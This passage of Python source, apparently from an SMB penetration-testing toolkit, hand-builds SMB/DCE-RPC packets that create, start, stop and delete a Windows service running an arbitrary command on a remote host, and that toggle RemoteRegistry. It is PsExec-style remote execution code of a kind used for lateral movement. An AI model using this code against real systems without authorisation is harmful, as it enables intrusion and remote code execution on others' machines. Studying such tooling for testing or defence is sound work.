|
x = SMBDCEPacketData(Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
##Error handling.
|
|
if data[8:10] == b"\x2e\x00":
|
|
if data[len(data)-4:] == b"\x05\x00\x00\x00":
|
|
print("[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n")
|
|
return ModifySMBRetCode(data)
|
|
|
|
## DCE/RPC Create Service.
|
|
if data[8:10] == b"\x25\x00":
|
|
ContextHandler = data[84:104].decode('latin-1')
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x09\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,BinCMD=Command)
|
|
w.calculate()
|
|
x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
#print "[+] Creating service"
|
|
|
|
## DCE/RPC SVCCTLOpenService.
|
|
if data[8:10] == b"\x25\x00":
|
|
if data[len(data)-4:] == b"\x05\x00\x00\x00":
|
|
print("[+] Failed to create the service\n")
|
|
return ModifySMBRetCode(data)
|
|
ContextHandlerService = data[88:108].decode('latin-1')
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars)
|
|
w.calculate()
|
|
x = SMBDCEPacketData(Opnum="\x10\x00",Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
## DCE/RPC SVCCTLStartService.
|
|
if data[8:10] == b"\x25\x00":
|
|
if data[len(data)-4:] == b"\x05\x00\x00\x00":
|
|
print("[+] Failed to open the service.\n")
|
|
return ModifySMBRetCode(data)
|
|
ContextHandler = data[84:104].decode('latin-1')
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler)
|
|
x = SMBDCEPacketData(Opnum="\x13\x00",Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
## DCE/RPC SVCCTLQueryService.
|
|
if data[8:10] == b"\x25\x00":
|
|
if data[len(data)-4:] == b"\x05\x00\x00\x00":
|
|
print("[+] Failed to start the service.\n")
|
|
return ModifySMBRetCode(data)
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCESVCCTLQueryService(ContextHandle=ContextHandlerService)
|
|
x = SMBDCEPacketData(Opnum="\x06\x00",Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
## DCE/RPC SVCCTLCloseService
|
|
if data[8:10] == b"\x25\x00":
|
|
if data[len(data)-4:] == b"\x05\x00\x00\x00":
|
|
print("[+] Failed to query the service.\n")
|
|
return ModifySMBRetCode(data)
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCESVCCTLCloseService(ContextHandle=ContextHandlerService)
|
|
x = SMBDCEPacketData(Opnum="\x00\x00",Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
return data, s, f
|
|
|
|
###########################
|
|
#Stop And Delete A Service
|
|
###########################
|
|
def StopAndDeleteService(Command, ServiceNameChars, ServiceIDChars, f, host, data, s):
|
|
## DCE/RPC SVCCTLOpenManagerW.
|
|
if data[8:10] == b"\x2e\x00":
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x02\x00", MachineName=host)
|
|
w.calculate()
|
|
x = SMBDCEPacketData(Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
##Error handling.
|
|
if data[8:10] == b"\x2e\x00":
|
|
if data[len(data)-4:] == b"\x05\x00\x00\x00":
|
|
print("[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n")
|
|
return ModifySMBRetCode(data)
|
|
|
|
## DCE/RPC SVCCTLOpenService.
|
|
if data[8:10] == b"\x25\x00":
|
|
if data[len(data)-4:] == b"\x05\x00\x00\x00":
|
|
print("[+] Failed to create the service\n")
|
|
return ModifySMBRetCode(data)
|
|
ContextHandlerService = data[84:104].decode('latin-1')
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandlerService,ServiceName=ServiceNameChars)
|
|
w.calculate()
|
|
x = SMBDCEPacketData(Opnum="\x10\x00",Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
## DCE/RPC SVCCTLControlService, stop operation.
|
|
if data[8:10] == b"\x25\x00":
|
|
if data[len(data)-4:] == b"\x05\x00\x00\x00":
|
|
print("[+] Failed to open the service.\n")
|
|
return ModifySMBRetCode(data)
|
|
ContextHandlerService = data[84:104].decode('latin-1')
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCESVCCTLControlService(ContextHandle=ContextHandlerService, ControlOperation="\x01\x00\x00\x00")
|
|
x = SMBDCEPacketData(Opnum="\x01\x00",Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
## DCE/RPC SVCCTLDeleteService.
|
|
if data[8:10] == b"\x25\x00":
|
|
if data[len(data)-4:] == b"\x05\x00\x00\x00":
|
|
print("[+] Failed to stop the service.\n")
|
|
return ModifySMBRetCode(data)
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCESVCCTLDeleteService(ContextHandle=ContextHandlerService)
|
|
x = SMBDCEPacketData(Opnum="\x02\x00",Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
## DCE/RPC SVCCTLCloseService
|
|
if data[8:10] == b"\x25\x00":
|
|
if data[len(data)-4:] == b"\x05\x00\x00\x00":
|
|
print("[+] Failed to delete the service.\n")
|
|
return ModifySMBRetCode(data)
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCESVCCTLCloseService(ContextHandle=ContextHandlerService)
|
|
x = SMBDCEPacketData(Opnum="\x00\x00",Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
return data, s, f
|
|
|
|
|
|
###########################
|
|
#Launch And Create Service
|
|
###########################
|
|
def CreateService(Command, ServiceNameChars, ServiceIDChars, f, host, data, s):
|
|
## DCE/RPC SVCCTLOpenManagerW.
|
|
if data[8:10] == b"\x2e\x00":
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x02\x00", MachineName=host)
|
|
w.calculate()
|
|
x = SMBDCEPacketData(Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
##Error handling.
|
|
if data[8:10] == b"\x2e\x00":
|
|
if data[len(data)-4:] == b"\x05\x00\x00\x00":
|
|
print("[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n")
|
|
return ModifySMBRetCode(data)
|
|
|
|
## DCE/RPC Create Service.
|
|
if data[8:10] == b"\x25\x00":
|
|
ContextHandler = data[84:104].decode('latin-1')
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x09\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,BinCMD=Command)
|
|
w.calculate()
|
|
x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
#print "[+] Creating service"
|
|
|
|
## DCE/RPC SVCCTLOpenService.
|
|
if data[8:10] == b"\x25\x00":
|
|
if data[len(data)-4:] == b"\x05\x00\x00\x00":
|
|
print("[+] Failed to create the service\n")
|
|
return ModifySMBRetCode(data)
|
|
ContextHandlerService = data[88:108].decode('latin-1')
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars)
|
|
w.calculate()
|
|
x = SMBDCEPacketData(Opnum="\x10\x00",Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
## DCE/RPC SVCCTLStartService.
|
|
if data[8:10] == b"\x25\x00":
|
|
if data[len(data)-4:] == b"\x05\x00\x00\x00":
|
|
print("[+] Failed to open the service.\n")
|
|
return ModifySMBRetCode(data)
|
|
ContextHandler = data[84:104].decode('latin-1')
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler)
|
|
x = SMBDCEPacketData(Opnum="\x13\x00",Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
## DCE/RPC SVCCTLQueryService.
|
|
if data[8:10] == b"\x25\x00":
|
|
if data[len(data)-4:] == b"\x05\x00\x00\x00":
|
|
print("[+] Failed to start the service.\n")
|
|
return ModifySMBRetCode(data)
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCESVCCTLQueryService(ContextHandle=ContextHandlerService)
|
|
x = SMBDCEPacketData(Opnum="\x06\x00",Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
## DCE/RPC SVCCTLControlService, stop operation.
|
|
if data[8:10] == b"\x25\x00":
|
|
if data[len(data)-4:] == b"\x05\x00\x00\x00":
|
|
print("[+] Failed to query the service.\n")
|
|
return ModifySMBRetCode(data)
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCESVCCTLControlService(ContextHandle=ContextHandlerService,ControlOperation = "\x01\x00\x00\x00")
|
|
x = SMBDCEPacketData(Opnum="\x01\x00",Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
## DCE/RPC SVCCTLDeleteService.
|
|
if data[8:10] == b"\x25\x00":
|
|
if data[len(data)-4:] == b"\x05\x00\x00\x00":
|
|
print("[+] Failed to start the service.\n")
|
|
return ModifySMBRetCode(data)
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCESVCCTLDeleteService(ContextHandle=ContextHandlerService)
|
|
x = SMBDCEPacketData(Opnum="\x02\x00",Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
## DCE/RPC SVCCTLCloseService
|
|
if data[8:10] == b"\x25\x00":
|
|
if data[len(data)-4:] == b"\x05\x00\x00\x00":
|
|
print("[+] Failed to delete the service.\n")
|
|
return ModifySMBRetCode(data)
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCESVCCTLCloseService(ContextHandle=ContextHandlerService)
|
|
x = SMBDCEPacketData(Opnum="\x00\x00",Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
return data, s, f
|
|
|
|
|
|
###########################
|
|
#Start Winreg Service
|
|
###########################
|
|
def StartWinregService(f, host, data, s):
|
|
## DCE/RPC SVCCTLOpenManagerW.
|
|
if data[8:10] == b"\x2e\x00":
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x02\x00", MachineName=host)
|
|
w.calculate()
|
|
x = SMBDCEPacketData(Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
##Error handling.
|
|
if data[8:10] == b"\x2e\x00":
|
|
if data[len(data)-4:] == b"\x05\x00\x00\x00":
|
|
print("[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n")
|
|
return ModifySMBRetCode(data)
|
|
|
|
## DCE/RPC SVCCTLOpenService.
|
|
if data[8:10] == b"\x25\x00":
|
|
if data[len(data)-4:] == b"\x05\x00\x00\x00":
|
|
print("[+] Failed to create the service\n")
|
|
return ModifySMBRetCode(data)
|
|
#print "[+] Service name: %s with display name: %s successfully created"%(ServiceNameChars, ServiceIDChars)
|
|
#ContextHandlerService = data[88:108]
|
|
ContextHandler = data[84:104].decode('latin-1')
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName="RemoteRegistry")
|
|
w.calculate()
|
|
x = SMBDCEPacketData(Opnum="\x10\x00",Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
## DCE/RPC SVCCTLStartService.
|
|
if data[8:10] == b"\x25\x00":
|
|
if data[len(data)-4:] == b"\x05\x00\x00\x00":
|
|
print("[+] Failed to open the service.\n")
|
|
return ModifySMBRetCode(data)
|
|
ContextHandlerService = data[84:104].decode('latin-1')
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCESVCCTLStartService(ContextHandle=ContextHandlerService)
|
|
x = SMBDCEPacketData(Opnum="\x13\x00",Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
## DCE/RPC SVCCTLQueryService.
|
|
if data[8:10] == b"\x25\x00":
|
|
if data[len(data)-4:] == b"\x05\x00\x00\x00":
|
|
print("[+] Failed to start the service.\n")
|
|
return ModifySMBRetCode(data)
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCESVCCTLQueryService(ContextHandle=ContextHandlerService)
|
|
x = SMBDCEPacketData(Opnum="\x06\x00",Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
time.sleep(3)
|
|
## DCE/RPC SVCCTLCloseService
|
|
if data[8:10] == b"\x25\x00":
|
|
if data[len(data)-4:] == b"\x05\x00\x00\x00":
|
|
print("[+] Failed to query the service.\n")
|
|
return ModifySMBRetCode(data)
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCESVCCTLCloseService(ContextHandle=ContextHandlerService)
|
|
x = SMBDCEPacketData(Opnum="\x00\x00",Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
return data, s, f
|
|
|
|
###########################
|
|
#Stop Winreg Service
|
|
###########################
|
|
def StopWinregService(f, host, data, s):
|
|
## DCE/RPC SVCCTLOpenManagerW.
|
|
if data[8:10] == b"\x2e\x00":
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x02\x00", MachineName=host)
|
|
w.calculate()
|
|
x = SMBDCEPacketData(Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
##Error handling.
|
|
if data[8:10] == b"\x2e\x00":
|
|
if data[len(data)-4:] == b"\x05\x00\x00\x00":
|
|
print("[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n")
|
|
return ModifySMBRetCode(data)
|
|
|
|
## DCE/RPC SVCCTLOpenService.
|
|
if data[8:10] == b"\x25\x00":
|
|
if data[len(data)-4:] == b"\x05\x00\x00\x00":
|
|
print("[+] Failed to create the service\n")
|
|
return ModifySMBRetCode(data)
|
|
#print "[+] Service name: %s with display name: %s successfully created"%(ServiceNameChars, ServiceIDChars)
|
|
#ContextHandlerService = data[88:108]
|
|
ContextHandler = data[84:104].decode('latin-1')
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName="RemoteRegistry")
|
|
w.calculate()
|
|
x = SMBDCEPacketData(Opnum="\x10\x00",Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
## DCE/RPC SVCCTLStartService.
|
|
if data[8:10] == b"\x25\x00":
|
|
if data[len(data)-4:] == b"\x05\x00\x00\x00":
|
|
print("[+] Failed to open the service.\n")
|
|
return ModifySMBRetCode(data)
|
|
ContextHandlerService = data[84:104].decode('latin-1')
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCESVCCTLControlService(ContextHandle=ContextHandlerService)
|
|
x = SMBDCEPacketData(Opnum="\x01\x00",Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
## DCE/RPC SVCCTLQueryService.
|
|
if data[8:10] == b"\x25\x00":
|
|
if data[len(data)-4:] == b"\x05\x00\x00\x00":
|
|
print("[+] Failed to stop the service.\n")
|
|
return ModifySMBRetCode(data)
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCESVCCTLQueryService(ContextHandle=ContextHandlerService)
|
|
x = SMBDCEPacketData(Opnum="\x06\x00",Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
|
|
## DCE/RPC SVCCTLCloseService
|
|
if data[8:10] == b"\x25\x00":
|
|
if data[len(data)-4:] == b"\x05\x00\x00\x00":
|
|
print("[+] Failed to query the service.\n")
|
|
return ModifySMBRetCode(data)
|
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
|
|
w = SMBDCESVCCTLCloseService(ContextHandle=ContextHandlerService)
|
|
x = SMBDCEPacketData(Opnum="\x00\x00",Data=w)
|
|
x.calculate()
|
|
t = SMBTransDCERPC(FID=f.decode('latin-1'),Data=x)
|
|
t.calculate()
|
|
packet0 = str(head)+str(t)
|
|
buffer1 = longueur(packet0)+packet0
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
return data, s, f
|
|
|
|
|
|
###########################
|
|
#Close a FID
|
|
###########################
|
|
|
|
def CloseFID(f, data, s):
|
|
##Close FID Request
|
|
if data[8:10] == b"\x25\x00":
|
|
head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x11\x00")
|
|
t = CloseRequest(FID = f.decode('latin-1'))
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
return data, s
|
|
|
|
def SMBDCERPCCloseFID(f, data, s):
|
|
##Close FID Request
|
|
if data[8:10] == b"\x2e\x00":
|
|
head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'),pid=data[30:32].decode('latin-1'),mid="\x11\x00")
|
|
t = CloseRequest(FID = f.decode('latin-1'))
|
|
packet1 = str(head)+str(t)
|
|
buffer1 = longueur(packet1)+packet1
|
|
s.send(NetworkSendBufferPython2or3(buffer1))
|
|
data = s.recv(2048)
|
|
return data, s
|
|
|
|
###########################
|
|
#Open a file for reading
|
|
###########################
|
|
|
|
def SMBOpenFile(Filename, Share, Host, Access, data, s):
|
|
if isinstance(data, str):
|
|
data.encode('latin-1')
|
|
##Start with a Tree connect on C$
|
|
